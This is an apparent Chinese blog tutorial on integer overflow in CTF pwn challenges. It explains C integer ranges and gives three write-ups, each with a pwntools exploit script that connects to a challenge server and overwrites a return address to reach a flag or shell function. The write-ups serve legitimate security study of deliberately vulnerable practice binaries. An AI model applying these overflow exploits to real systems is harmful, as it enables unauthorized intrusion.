pwn整数溢出

pwn整数溢出

整数溢出原理

具体原理

​ 在 C 语言中,整数的基本数据类型分为短整型 (short),整型 (int),长整型 (long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。

具体数据类型的范围如下:

类型 字节 范围
short int 2byte(word) -32768~32767
unsigned short int 2byte(word) 0\~65535(0\~0xffff)
int 4byte(dword) -2147483648\~2147483647
unsigned int 4byte(dword) 0\~4294967295(0~0xffffffff)
long int 8byte(qword) 正: 0\~0x7fffffffffffffff 负 0x8000000000000000\~0xffffffffffffffff
unsigned long int 8byte(qword) 0\~0xffffffffffffffff

举例

#include
int main()
{
    unsigned short int var1 = 1, var2 = 65537;
    printf("%d\n",sizeof(unsigned short int));
    if (var1 == var2)
    {
        printf("溢出");
    }
    return 0;
}

输出结果


WUST-CTF number_game

武汉科技大学的ctf萌新赛,是我在找这个方面的题目时发现的,考查整数溢出的知识

题目分析

反汇编elf文件

可以看到是需要输入一个数小于0,取反之后再次小于0即可得到shell

由于v1是int型,故最多表示4,294,967,296个数,含有符号,即表示

-2147483648~2147483647

故可取v1 = -2147483648

则v1取符号后仍未负数

exp

from pwn import *
sh = process('.\number_game')
payload = -2147483648
sh.sendline(str(payload)) #注意,sendline发送的都为字符型数据,要想发送数字得加上str()函数
sh.interactive()

攻防世界int_overflow

连接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=1

题目分析

附件checkesc分析

没有开启canary保护,可以使用栈溢出的漏洞

接着使用IDApro分析

main函数中没有什么问题

接着检查login()函数

检查check_passwd()函数:

注意变量v3,这里就会存在整数溢出漏洞

对输入的数字s的长度限制在4-8位之间,但是v3为unsigned int8型变量,即为无符号的8bits大小整数

最大值应该为255:

如果超出255,就会溢出,即对于unsigned int8型的变量v1和v2,如果v1=0,v2=256;则v1==v2;

故此题的输入密码的长度应为 4 ~ 8 或 255+4 ~ 255+8

找到漏洞后,按shift+f12查找关键字

即发现cat flag关键字

即发现函数

查看地址

得到函数的starts地址,即可在输入passwd时构造字符将chack_passwd的函数返回地址改为what_is_this()函数的地址

且由于dest变量到栈底的偏移量为0x14,故即可构造exp

exp

from pwn import *

c=remote('220.249.52.134',36374)

flag_adress=0x804868B

payload="zbrnb".ljust(0x14+4,'a')+p32(flag_adress)+"zbrnb".ljust(256-0x14-4-4+4,'a')

c.sendlineafter("Your choice:","1")
c.sendlineafter("Please input your username:\n","Retr_0nb")
c.recvuntil("Please input your passwd:\n")
c.sendline(payload)
c.recv()

c.interactive()
c.recv()

即可得到flag

BUUCTF[bjdctf_2020_babystack2]

题目分析

反汇编分析

即发现在if判断时nbytes时,nbytes是signed int 而执行read函数时为unsigned int型

故如果输入nbytes时输入 -1 ,在if判断时为负数 <10,而执行read函数时为最大值,可以输入更多的字符

且发现漏洞函数

通过gdb调试计算buf的偏移量,得到payload='a'*(0x10+8)+p64(shell_addr)

exp

from pwn import *
#sh = process('./bjdctf_2020_babystack2')
sh=remote("node3.buuoj.cn","25761")
shell_addr = 0x0000000000400726

payload='a'*(0x10+8)+p64(shell_addr)
sh.recvuntil("of your name:")
sh.sendline("-1")
sh.recvuntil("s u name?")
sh.sendline(payload)
sh.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇